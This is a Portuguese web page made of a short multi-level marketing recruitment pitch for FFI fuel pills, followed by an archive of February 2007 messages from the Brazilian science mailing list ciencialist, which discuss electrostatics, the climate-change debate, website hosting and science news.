Assim, juntos usaremos o poder da internet para divulgar a FFI, Explore o conteúdo deste site, assista as apresentações, e me contate para esclarecermos suas dúvidas, queremos líderes comprometidos que queiram desenvolver este negócio incrível aqui no Brasil; e a FFI dá também suporte para desenvolver redes no exterior, é só dar uma olhada no site oficial que a empresa disponibilizará a você.

Conhecendo você o Marketing Multinível ou não, receberá ajuda para desenvolver o negócio, o convido a integrar minha rede que certamente visará o crescimento de todos os seus membros. Sugiro que estude todos os tópicos entre em contato pelo e-mail voipsolutions@terra.com.br para receber mais informaçoes e estabelecer contato comigo onde te apresentarei a oportunidade com mais detalhes:

Veja por exemplo um video no youtube, onde uma TV americana testa as pastilhas MPG-CAPS:

http://www.youtube.com/watch?v=YK7NZLZBGyM

Vídeo

Faça o download desta apresentação do plano marketing multinivel binário da FFI:

Slides

Então conheça o negócio entre em contato para sanar suas dúvidas e vamos trabalhar juntos neste negócio, que sem dúvida é a melhor oportunidade em Marketing Multinível de hoje.

Abraços e muito sucesso pra você!

Pedro Binsfeld

53-84014584

voipsolutions@terra.com.br

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SUBJECT: Re: Lei de Coulomb
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 16:41

--- Em ciencialist@yahoogrupos.com.br, "Emiliano Chemello"
> Scalar quantity
> U = q1.q2/r
>
> Por que a energia potencial depende apenas de 'r' e não de 'r^2' como

Tá faltando uma constante aí na fórmula.

De todo modo uma das maneiras de se pensar é q a variação de energia
em um sistema corresponde ao trabalho realizado sobre esse sistema (ou
ao trabalho q esse sistema realiza).

Uma das fórmulas para o trabalho T é:

T = F.d [1]

Em F é a força aplicada sobre o sistema (ou pelo sistema) e d é o
deslocamento realizado pelo sistema (ou pelo corpo sobre o qual o
sistema age).

Vamos supor então cargas unitárias de naturezas opostas: uma positiva
e outra negativa - situadas a uma certa distância entre elas.

Haverá uma força de atração entre as cargas. Se deixarmos uma das
cargas se movimentar livremente, sob a atuação dessa força, ela irá se
mover em direção à carga fixa. A força varia, mas poderemos integrá-la
e encontrar a força média, de todo modo essa força irá atuar pelo
deslocamento da carga - q será a da distância q separa as cargas.

Essa força elétrica terá realizado um trabalho. Logo, o teor de
energia do sistema de cargas binárias terá variado. Se formos separar
as cargas novamente até a distância original, teremos q injetar
energia na mesma quantidade - com isso, a carga adquire uma energia
potencial de natureza elétrica (análoga à energia potencial de
natureza gravitacional q surge qdo afastamos um corpo da Terra).

Como a força elétrica Fe tem a fórmula:

Fe = k.Q.q/r^2 [2]

E como d de [1] é igual a r de [2]

T = Fe.r = (kQq/r^2).r = k.Qq/r [3]

[]s,

Roberto Takata



SUBJECT: [RN] CHIMPAZES USAM LANCA PARA CACAR
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 16:48

BBC, 22-02-2007

CHIMPANZEES 'HUNT USING SPEARS'

Chimpanzees in Senegal have been observed making and using wooden
spears to hunt other primates, according to a study in the journal
Current Biology.

http://news.bbc.co.uk/2/hi/science/nature/6387611.stm

----------------
Em trinta gerações estarão usando ábaco, em quarenta estarão
negociando ações pela internet, em cinqüenta enviarão chimpanzés à
Lua, em 100 inventarão o café descafeinado e em 120 começarão a
reclamar da vida na selva de pedra e a comentar que bom mm era viver
no mato comendo alimentos naturais.

[]s,

Roberto Takata



SUBJECT: Re: O Ambientalista Crente
FROM: Robespierre B. Gonçalves <robespierre.goncalves@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 17:03

E o que acham desta matéria?
Será qe existem cientistas profetizando desastres e ganhando dinheiro
com isso?

Se link:
http://www.midiasemmascara.com.br/artigo.php?sid=5570&language=pt

[]s,
Pierre



--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
escreveu
>
> Na verdade, na situação atual, onde nenhum centro de pesquisa alega
ter
> comprovado que o aquecimento global é causado pela emissão
atropópica de
> CO2, faltam-me bases para sustentar qualquer outra opinião.
>
> Veja bem, eu não disse que não há aquecimento global, e nem mesmo
que ele
> não é causado pelo homem. Disse que não temos comprovações
objetivas. Alguns
> cientistas respeitados levantam outras possibilidades.
>
> http://news.bbc.co.uk/1/hi/sci/tech/358953.stm
> http://www.news.harvard.edu/gazette/1997/11.06/BrighteningSuni.html
> http://www.sciencebits.com/CO2orSolar
>
> Sei que as matérias acima são apenas matérias, e não artigos, mas
lembre-se
> de que não temos artigos que efetivamente comprovem a questão, e
tenham
> ampla aceitação na comunidade científica (pode me corrigir se eu
estiver
> errado).
>
> A opinião: "não sabemos" não pode ser comprovada por artigos.
Apenas podemos
> comprovar que sim ou não, neste caso.
>
> Grande abraço,
>
> Ricardo
>
>
>
>
> ----- Original Message -----
> From: "rmtakata" <roberto.takata@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, February 14, 2007 6:38 PM
> Subject: [ciencialist] Re: O Ambientalista Crente
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@>
> > Não existe um consenso, até porque, mesmo o IPCC, não chegou a uma
> > conclusão inequívoca.
>
> Consenso existe entre os especialistas em clima. O q não existe é
> unanimidade - os dissidentes q tto ajudaram Bush em sua "política"
> ambiental antes do último relatório do IPCC.
>
> > Apenas aponta que há uma forte possibilidade da ação do homem
> > ter efetivamente papel significativo no aquecimento global.
>
> Eu tiraria o "apenas". É uma conclusão importantíssima.
>
> > 2) Os gases estufa tem papel determinante no aumento da
temperatura?
> > Ou fatores outros, como a atividade solar, têm papel predominante?
> >
> > 3) A principal fonte de CO2 são atividades humanas? Ou, pelo
menos,
> > a produção humana é predominante no crescimento comprovado de CO2
> > atualmente?
>
> Há consenso tb para a resposta a essas duas perguntas. Sim, o CO2 e
> outros gases-estufa estão ligados ao aquecimento global e, sim, a
> parte principal é de origem antropogênica (ou antrópica).
>
> > Mas acho que não temos ainda comprovações razoáveis deste
fenômeno:
> > o aquecimento global por emissão CO2.
>
> Resta saber com base em q vc sustenta essa opinião.
>
> []s,
>
> Roberto Takata
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.hpg.ig.com.br
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>




SUBJECT: Re: Mais teorias alternativas no Yahoo Respostas...
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 17:20

--- Em ciencialist@yahoogrupos.com.br, "Mauro" <bombaspr@...> escreveu
>
> Não sei se é bem esse o problema, mas que eu saiba a distância pode
> ser maior do que o tempo devido a aceleração da expansão do universo.
> Por ex. o tempo estimado do nosso universo é de 14 bilhões de anos,
> mas o raio é de 23 bilhões de anos-luz (o espaço se dilatou no tempo).

É mais que isso...

O Tarcísio Brito sustenta que nenhuma estrela tem luz própria, que são
massas de gás que brilham por que refletem a luz do Sol, que a Terra
gira por que recebe energia negativa o Universo e positiva do Sol, e
outras coisas mais. Este é o cara que fez a pergunta.

Agora, o cara que respondeu a pergunta citou a página "Deduções
Lógicas". Bom, o tal do cara das DL é um que ofereceu o carro dele
para quem provasse que ele estava errado em um certo tópico, mas até
hoje ele não deu o carro para ninguém, por que ele estava erradíssimo...

Mas a coisa não acaba aí. Veja que quem responde a pergunta cita um
físico da UFMG.

Agora eu já não sei mais o que está acontecendo por aí, se é uma
reunião de malucos, ou se tem alguns malucos e alguns gênios
mal-compreendidos, ou o quê...

[]s
--
César A. K. Grossmann



SUBJECT: Re: Ciencialist com site .com!
FROM: Robespierre B. Gonçalves <robespierre.goncalves@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 17:22

Brudna,

Voce instalou o pacote do WordPress.org, não?
Poderia ter usado o Wordpress.com (gratuito) e ainda assim usar o
dommínio.
A vantagem no Wordpress.com é que eles estão sempre atualizando a
plataforma. Por exemplo, eles acabaram de instalar uma ferramenta
para uso do LATEX para escrita matemática.
Até o Prof. Luiz também poderia se sentir encorajado a migrar o
Imperdível para o Wordpress (ou pelo menos trocar a foto de carteira
de identidade do site atual).

Eu mantenho três blogs no Wordpress.com:
http://piada.wordpress.com
http://receita.wordpress.com (de minha esposa)
http://technewsbr.com

Se precisar de alguma dica de uso é só entrar em contato.

[]s,
Pierre





--- Em ciencialist@yahoogrupos.com.br, "Luis Brudna" <luisbrudna@...>
escreveu
>
> Agora a Ciencialist tem site proprio! :-)
>
> http://www.ciencialist.com
>
> Instalei neste momento o Wordpress, que facilita a atualizacao.
>
> Durante esse final de semana vou inserir as informacoes e modificar
o visual.
>
> Os moderadores poderao ter acesso ao controle do Wordpress.
>
> Ateh
> Luis Brudna - administrador
>
>
> =-=-=-
>




SUBJECT: Re: [ciencialist] Re: Ciencialist com site .com!
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 17:34

Tambem testei o Wordpress.com.

Tenho o plano de hospedagem da Dreamhost para o
http://www.humornaciencia.com.br (que precisa de bastante banda de
dados), como eu tinha direito a um .com gratuito, resolvi deixar para
a Ciencialist.
Ainda sobram varios gigas de transmissao de dados para o ciencialist.com.

Tendo hospedagem propria tenho mais controle dos arquivos e possiveis mudancas.

Muito obrigado pela sugestao.
Neste momento estou testando modificacoes no site.

Ateh
Luis Brudna


On 2/22/07, Robespierre B. Gonçalves <robespierre.goncalves@gmail.com> wrote:
>
>
>
>
>
>
> Brudna,
>
> Voce instalou o pacote do WordPress.org, não?
> Poderia ter usado o Wordpress.com (gratuito) e ainda assim usar o
> dommínio.
> A vantagem no Wordpress.com é que eles estão sempre atualizando a
> plataforma. Por exemplo, eles acabaram de instalar uma ferramenta
> para uso do LATEX para escrita matemática.
> Até o Prof. Luiz também poderia se sentir encorajado a migrar o
> Imperdível para o Wordpress (ou pelo menos trocar a foto de carteira
> de identidade do site atual).
>
> Eu mantenho três blogs no Wordpress.com:
> http://piada.wordpress.com
> http://receita.wordpress.com (de minha esposa)
> http://technewsbr.com
>
> Se precisar de alguma dica de uso é só entrar em contato.
>
> []s,
> Pierre
>
> --- Em ciencialist@yahoogrupos.com.br, "Luis Brudna" <luisbrudna@...>
> escreveu
>
> >
> > Agora a Ciencialist tem site proprio! :-)
> >
> > http://www.ciencialist.com
> >
> > Instalei neste momento o Wordpress, que facilita a atualizacao.
> >
> > Durante esse final de semana vou inserir as informacoes e modificar
> o visual.
> >
> > Os moderadores poderao ter acesso ao controle do Wordpress.
> >
> > Ateh
> > Luis Brudna - administrador
> >
> >
> > =-=-=-


SUBJECT: Re: O Ambientalista Crente
FROM: Robespierre B. Gonçalves <robespierre.goncalves@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 17:40

Bem Homero,

Leia este então:
http://www.opinionjournal.com/extra/?id=110008220

É o original em inglês de Richard Lindzen, o autor do artigo.

Acho que dessa vez o OdeC não teve nada a ver.
Além de achar que existe muito auê por nada nesse caso de aquecimento
global, eu, particularmente, espero que os mares subam até encobrirem
o Largo da Segunda-Feira aqui no Rio. Áí eu vou passar a ter um
terreno à beira-mar, próximo ao novo Pão de Açucar do Sumaré....

:)

[]s,
Pierre

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
escreveu
>
> Olá Pierre
>
> Eu, pessoalmente, me recuso a perder tempo com leituras do Midia
Sem Máscara (ou Sem Noção, ficaria melhor), do Olavo de Carvalho. O
tempo é curto, a vida passa rápido, e não é possível desperdiçar tudo
isso com esse nível de argumentação..:-) Não sei o que o artigo diz
(e não vou ler, claro), mas sei que não concordo com a maior parte,
com as distorções (sempre existem, nesse site, em todo artigo) e
certamente não concordo com teses conspiracionaistas do tipo O Mundo
é Controlado Por Esquerdistas e Judeus Maléficos, recorrente nos
textos do OdC e dos que ele apoia..:-)
>
> Um abraço.
>
> Homero
>
>
> ----- Original Message -----
> From: Robespierre B. Gonçalves
> To: ciencialist@yahoogrupos.com.br
> Sent: Thursday, February 22, 2007 4:03 PM
> Subject: [ciencialist] Re: O Ambientalista Crente
>
>
> E o que acham desta matéria?
> Será qe existem cientistas profetizando desastres e ganhando
dinheiro
> com isso?
>
> Se link:
> http://www.midiasemmascara.com.br/artigo.php?sid=5570&language=pt
>
> []s,
> Pierre
>
> --- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@>
> escreveu
> >
> > Na verdade, na situação atual, onde nenhum centro de pesquisa
alega
> ter
> > comprovado que o aquecimento global é causado pela emissão
> atropópica de
> > CO2, faltam-me bases para sustentar qualquer outra opinião.
> >
> > Veja bem, eu não disse que não há aquecimento global, e nem
mesmo
> que ele
> > não é causado pelo homem. Disse que não temos comprovações
> objetivas. Alguns
> > cientistas respeitados levantam outras possibilidades.
> >
> > http://news.bbc.co.uk/1/hi/sci/tech/358953.stm
> >
http://www.news.harvard.edu/gazette/1997/11.06/BrighteningSuni.html
> > http://www.sciencebits.com/CO2orSolar
> >
> > Sei que as matérias acima são apenas matérias, e não artigos,
mas
> lembre-se
> > de que não temos artigos que efetivamente comprovem a questão,
e
> tenham
> > ampla aceitação na comunidade científica (pode me corrigir se
eu
> estiver
> > errado).
> >
> > A opinião: "não sabemos" não pode ser comprovada por artigos.
> Apenas podemos
> > comprovar que sim ou não, neste caso.
> >
> > Grande abraço,
> >
> > Ricardo
> >
> >
> >
> >
> > ----- Original Message -----
> > From: "rmtakata" <roberto.takata@>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Wednesday, February 14, 2007 6:38 PM
> > Subject: [ciencialist] Re: O Ambientalista Crente
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@>
> > > Não existe um consenso, até porque, mesmo o IPCC, não chegou
a uma
> > > conclusão inequívoca.
> >
> > Consenso existe entre os especialistas em clima. O q não existe
é
> > unanimidade - os dissidentes q tto ajudaram Bush em
sua "política"
> > ambiental antes do último relatório do IPCC.
> >
> > > Apenas aponta que há uma forte possibilidade da ação do homem
> > > ter efetivamente papel significativo no aquecimento global.
> >
> > Eu tiraria o "apenas". É uma conclusão importantíssima.
> >
> > > 2) Os gases estufa tem papel determinante no aumento da
> temperatura?
> > > Ou fatores outros, como a atividade solar, têm papel
predominante?
> > >
> > > 3) A principal fonte de CO2 são atividades humanas? Ou, pelo
> menos,
> > > a produção humana é predominante no crescimento comprovado de
CO2
> > > atualmente?
> >
> > Há consenso tb para a resposta a essas duas perguntas. Sim, o
CO2 e
> > outros gases-estufa estão ligados ao aquecimento global e, sim,
a
> > parte principal é de origem antropogênica (ou antrópica).
> >
> > > Mas acho que não temos ainda comprovações razoáveis deste
> fenômeno:
> > > o aquecimento global por emissão CO2.
> >
> > Resta saber com base em q vc sustenta essa opinião.
> >
> > []s,
> >
> > Roberto Takata
> >
> >
> >
> > ##### ##### #####
> >
> > Página de apoio
> > http://www.ciencialist.hpg.ig.com.br
> >
> >
> > ##### ##### ##### #####
> > Links do Yahoo! Grupos
> >
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/02/2007 18:06

Olá Pierre

Eu, pessoalmente, me recuso a perder tempo com leituras do Midia Sem Máscara (ou Sem Noção, ficaria melhor), do Olavo de Carvalho. O tempo é curto, a vida passa rápido, e não é possível desperdiçar tudo isso com esse nível de argumentação..:-) Não sei o que o artigo diz (e não vou ler, claro), mas sei que não concordo com a maior parte, com as distorções (sempre existem, nesse site, em todo artigo) e certamente não concordo com teses conspiracionaistas do tipo O Mundo é Controlado Por Esquerdistas e Judeus Maléficos, recorrente nos textos do OdC e dos que ele apoia..:-)

Um abraço.

Homero


----- Original Message -----
From: Robespierre B. Gonçalves
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, February 22, 2007 4:03 PM
Subject: [ciencialist] Re: O Ambientalista Crente


E o que acham desta matéria?
Será qe existem cientistas profetizando desastres e ganhando dinheiro
com isso?

Se link:
http://www.midiasemmascara.com.br/artigo.php?sid=5570&language=pt

[]s,
Pierre

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
escreveu
>
> Na verdade, na situação atual, onde nenhum centro de pesquisa alega
ter
> comprovado que o aquecimento global é causado pela emissão
atropópica de
> CO2, faltam-me bases para sustentar qualquer outra opinião.
>
> Veja bem, eu não disse que não há aquecimento global, e nem mesmo
que ele
> não é causado pelo homem. Disse que não temos comprovações
objetivas. Alguns
> cientistas respeitados levantam outras possibilidades.
>
> http://news.bbc.co.uk/1/hi/sci/tech/358953.stm
> http://www.news.harvard.edu/gazette/1997/11.06/BrighteningSuni.html
> http://www.sciencebits.com/CO2orSolar
>
> Sei que as matérias acima são apenas matérias, e não artigos, mas
lembre-se
> de que não temos artigos que efetivamente comprovem a questão, e
tenham
> ampla aceitação na comunidade científica (pode me corrigir se eu
estiver
> errado).
>
> A opinião: "não sabemos" não pode ser comprovada por artigos.
Apenas podemos
> comprovar que sim ou não, neste caso.
>
> Grande abraço,
>
> Ricardo
>
>
>
>
> ----- Original Message -----
> From: "rmtakata" <roberto.takata@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, February 14, 2007 6:38 PM
> Subject: [ciencialist] Re: O Ambientalista Crente
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@>
> > Não existe um consenso, até porque, mesmo o IPCC, não chegou a uma
> > conclusão inequívoca.
>
> Consenso existe entre os especialistas em clima. O q não existe é
> unanimidade - os dissidentes q tto ajudaram Bush em sua "política"
> ambiental antes do último relatório do IPCC.
>
> > Apenas aponta que há uma forte possibilidade da ação do homem
> > ter efetivamente papel significativo no aquecimento global.
>
> Eu tiraria o "apenas". É uma conclusão importantíssima.
>
> > 2) Os gases estufa tem papel determinante no aumento da
temperatura?
> > Ou fatores outros, como a atividade solar, têm papel predominante?
> >
> > 3) A principal fonte de CO2 são atividades humanas? Ou, pelo
menos,
> > a produção humana é predominante no crescimento comprovado de CO2
> > atualmente?
>
> Há consenso tb para a resposta a essas duas perguntas. Sim, o CO2 e
> outros gases-estufa estão ligados ao aquecimento global e, sim, a
> parte principal é de origem antropogênica (ou antrópica).
>
> > Mas acho que não temos ainda comprovações razoáveis deste
fenômeno:
> > o aquecimento global por emissão CO2.
>
> Resta saber com base em q vc sustenta essa opinião.
>
> []s,
>
> Roberto Takata
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.hpg.ig.com.br
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: O Ambientalista Crente
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 18:13

--- Em ciencialist@yahoogrupos.com.br, Robespierre B. Gonçalves
> Leia este então:
> http://www.opinionjournal.com/extra/?id=110008220
>
> É o original em inglês de Richard Lindzen, o autor do artigo.

Já foi dito aqui antes. Lindzen não tem uma opinião isenta por conta
de suas ligações com a indústria petrolífera americana. Além disso,
opinião todo mundo tem, a questão é ter bases fatuais para sustentar
uma opinião - e não simples achismos.

O derretimento de geleiras está bem documentado, assim como o aumento
do nível do mar e o aumento da temperatura. Há fortes suspeitas de q
esteja em curso o aumento do número de furacões e de sua força ao
longo dos anos (pela primeira vez foi registrado um furacão no
Atlântico Sul - ou ao menos um ciclone extraordinariamente intenso),
seca sem precedentes conseguiu secar rios na bacia Amazônica...

[]s,

Roberto Takata



SUBJECT: Re: Mais teorias alternativas no Yahoo Respostas...
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 18:25

--- Em ciencialist@yahoogrupos.com.br, César A. K. Grossmann
> Agora eu já não sei mais o que está acontecendo por aí, se é uma
> reunião de malucos, ou se tem alguns malucos e alguns gênios
> mal-compreendidos, ou o quê...

Questão de internar esses caras. O problema nem é tto os malucos -
basta tratá-los. O problema são os q querem dar uma de "sou
democrático e não julgo ninguém" - e acham q qq crítica a idéias
idiotas é uma forma de dogmatismo. Como se não usar o cérebro fosse
uma forma superior de usar o cérebro.

[]s,

Roberto Takata



SUBJECT: Para Homero
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 18:31

HOMERO,

Minhas excusas sinceras por ter me confundido no e-mail que lhe chamei de troll.

E não desanime, estou considerando tudo o que vc tem-me escrito até agora.

Sua resposta virá.

Atenciosamente,

Bruna

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: [RN] PROGRAMA DE TV JAPONES FALSIFICA CIENCIA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 18:52

NATURE, 21-02-2007

JAPANESE TV SHOW ADMITS FAKING SCIENCE

For scientists who speak to the mass media about their research, a
scandal surrounding a Japanese television show demonstrates just how
badly things can go wrong. Kansai Telecasting Corporation (KTV) has
admitted that it faked scientific results in one of its programmes,
and used dubbing to put false words into the mouths of foreign
researchers. After an outcry from the Japanese media, the company has
cancelled the series and is reviewing all 520 episodes.

One of the victims is Dr Kim, a professor at a US university who
studies soya bean fermentation. He spoke to Nature but asked that his
first name and affiliation be withheld. He was interviewed by KTV
about his research in January 2006. When he finally watched that
programme this month, he was horrified. The show — and Kim — trumpeted
the health benefits of a fermented bean paste called miso. "They made
it look like I said many things that I didn't. About 60% of the
content was not correct," he says.

Hakkutsu: Aruaru Daijiten II (which roughly translates as "Excavation:
an encyclopedia of facts") was a popular weekly show broadcast for ten
years by the Fuji Television Network and watched in around 15% of
Japanese homes. Presented as a science documentary, the show covered
food and health-related topics and was based on interviews with
scientists. (e)

http://www.nature.com/nature/journal/v445/n7130/full/445804a.html
--------------------

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/02/2007 18:52

Olá Robespierre

Bem, vou tentar, embora se o OdC aprova, eu tenho minhas dúvidas..:-)

A questão do clima é mesmo complexa, mas resposabilizar uma Grande Conspiração Etc não me parece razoável. Ainda que ciclos solares ou mesmo mudanças ciclicas em eras geológicas tenham causado o aquecimento, este é por si só uma preocupação real, e a ação humana é parte dos processos.

Descobrir como e o que fazer, para, se não solucionar, pelo menos remediar ou se adaptar ao problema é muito importante. Todo sistema d Terra será afetado, se o Ártico, por exemplo, derreter. Não apenas você terá terrenos a beira mar, mas todo ciclo de produção de alimentos, agricultura, clima, etc, será afetado.

A idéia da Grnade Conspiração, ou mesmo a acusação de alarmismo desnecessário me parece um "sistema avestruz", finge que não v~e, que o problema desaparece..:-)

A idéia dos que parecem não ver problemas no aquecimento global, pode ser fruto da um posicionamento de fundo religioso: se deus criou céu e terra para nosso uso, Ele não modificaria nada sem avisar ou de forma a nos prejudicar. A idéia de imutabilidade do mundo (e do universo) é parte importante das crenças religiosas, em especial as cristãs. Isso fica claro nos defensores da Terra jovem (que tem apenas 6 mil anos ou menos), na afirmação de que todos os seres vivos foram criados como se apresentam hoje, e na ligação da divindade com os seres humanos.

Uma mudança desse porte, não apenas climática mas também estrutural e de amplo alcance, que afeta todo planeta, e que pode fazer desaparecer a espécie humana, é quase uma afronta a essas crenças.

Um abraço.

Homero



----- Original Message -----
From: Robespierre B. Gonçalves
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, February 22, 2007 4:40 PM
Subject: [ciencialist] Re: O Ambientalista Crente


Bem Homero,

Leia este então:
http://www.opinionjournal.com/extra/?id=110008220

É o original em inglês de Richard Lindzen, o autor do artigo.

Acho que dessa vez o OdeC não teve nada a ver.
Além de achar que existe muito auê por nada nesse caso de aquecimento
global, eu, particularmente, espero que os mares subam até encobrirem
o Largo da Segunda-Feira aqui no Rio. Áí eu vou passar a ter um
terreno à beira-mar, próximo ao novo Pão de Açucar do Sumaré....

:)

[]s,
Pierre

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
escreveu
>
> Olá Pierre
>
> Eu, pessoalmente, me recuso a perder tempo com leituras do Midia
Sem Máscara (ou Sem Noção, ficaria melhor), do Olavo de Carvalho. O
tempo é curto, a vida passa rápido, e não é possível desperdiçar tudo
isso com esse nível de argumentação..:-) Não sei o que o artigo diz
(e não vou ler, claro), mas sei que não concordo com a maior parte,
com as distorções (sempre existem, nesse site, em todo artigo) e
certamente não concordo com teses conspiracionaistas do tipo O Mundo
é Controlado Por Esquerdistas e Judeus Maléficos, recorrente nos
textos do OdC e dos que ele apoia..:-)
>
> Um abraço.
>
> Homero
>
>
> ----- Original Message -----
> From: Robespierre B. Gonçalves
> To: ciencialist@yahoogrupos.com.br
> Sent: Thursday, February 22, 2007 4:03 PM
> Subject: [ciencialist] Re: O Ambientalista Crente
>
>
> E o que acham desta matéria?
> Será qe existem cientistas profetizando desastres e ganhando
dinheiro
> com isso?
>
> Se link:
> http://www.midiasemmascara.com.br/artigo.php?sid=5570&language=pt
>
> []s,
> Pierre
>
> --- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@>
> escreveu
> >
> > Na verdade, na situação atual, onde nenhum centro de pesquisa
alega
> ter
> > comprovado que o aquecimento global é causado pela emissão
> atropópica de
> > CO2, faltam-me bases para sustentar qualquer outra opinião.
> >
> > Veja bem, eu não disse que não há aquecimento global, e nem
mesmo
> que ele
> > não é causado pelo homem. Disse que não temos comprovações
> objetivas. Alguns
> > cientistas respeitados levantam outras possibilidades.
> >
> > http://news.bbc.co.uk/1/hi/sci/tech/358953.stm
> >
http://www.news.harvard.edu/gazette/1997/11.06/BrighteningSuni.html
> > http://www.sciencebits.com/CO2orSolar
> >
> > Sei que as matérias acima são apenas matérias, e não artigos,
mas
> lembre-se
> > de que não temos artigos que efetivamente comprovem a questão,
e
> tenham
> > ampla aceitação na comunidade científica (pode me corrigir se
eu
> estiver
> > errado).
> >
> > A opinião: "não sabemos" não pode ser comprovada por artigos.
> Apenas podemos
> > comprovar que sim ou não, neste caso.
> >
> > Grande abraço,
> >
> > Ricardo
> >
> >
> >
> >
> > ----- Original Message -----
> > From: "rmtakata" <roberto.takata@>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Wednesday, February 14, 2007 6:38 PM
> > Subject: [ciencialist] Re: O Ambientalista Crente
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@>
> > > Não existe um consenso, até porque, mesmo o IPCC, não chegou
a uma
> > > conclusão inequívoca.
> >
> > Consenso existe entre os especialistas em clima. O q não existe
é
> > unanimidade - os dissidentes q tto ajudaram Bush em
sua "política"
> > ambiental antes do último relatório do IPCC.
> >
> > > Apenas aponta que há uma forte possibilidade da ação do homem
> > > ter efetivamente papel significativo no aquecimento global.
> >
> > Eu tiraria o "apenas". É uma conclusão importantíssima.
> >
> > > 2) Os gases estufa tem papel determinante no aumento da
> temperatura?
> > > Ou fatores outros, como a atividade solar, têm papel
predominante?
> > >
> > > 3) A principal fonte de CO2 são atividades humanas? Ou, pelo
> menos,
> > > a produção humana é predominante no crescimento comprovado de
CO2
> > > atualmente?
> >
> > Há consenso tb para a resposta a essas duas perguntas. Sim, o
CO2 e
> > outros gases-estufa estão ligados ao aquecimento global e, sim,
a
> > parte principal é de origem antropogênica (ou antrópica).
> >
> > > Mas acho que não temos ainda comprovações razoáveis deste
> fenômeno:
> > > o aquecimento global por emissão CO2.
> >
> > Resta saber com base em q vc sustenta essa opinião.
> >
> > []s,
> >
> > Roberto Takata
> >
> >
> >
> > ##### ##### #####
> >
> > Página de apoio
> > http://www.ciencialist.hpg.ig.com.br
> >
> >
> > ##### ##### ##### #####
> > Links do Yahoo! Grupos
> >
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: Duvidas de circuitos, por favor me ajude
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 19:56

Solução para o problema:

P = U.i
U = R.i

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Esses são seus amigos engenheiros elétricos ... viu meus assessores?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Jadyson Jesus da Silva
> Para: leobarretos@...
> Enviada em: sábado, 17 de fevereiro de 2007 21:10
> Assunto: Duvidas de circuitos, por favor me ajude
>
>
> Olá, Prof. Luiz Ferraz Netto
>
> Sou estudante de Eng. Elétrica, estou com um problema e gosteria que
o senhor me ajudasse, seja indicando materias ou mesmo escrevendo
para mim com a solução para este problema.
> Estou estagiando, pediram-me para eu calcular se em determinado
local poderia ser colocados mais equipamentos de forma que não
sobrecarregasse o circuito e causar constantes queda de tensão.Dessa
forma, gostaria de saber como calcular a capacidade de cada circuito
eletrico para saber se pode ou não ser instalados mais equipamentos
(ou equipamentos com potencia maior).
>
> Desde já agradeço pela atenção,
>
> Jadyson Silva
>
>
>
>
>
> __________________________________________________
> Fale com seus amigos de graça com o novo Yahoo! Messenger
> http://br.messenger.yahoo.com/
>
>
>
>
--------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.441 / Virus Database: 268.18.0/689 - Release Date:
15/02/2007 17:40
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Fw: Duvidas de circuitos, por favor me ajude
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
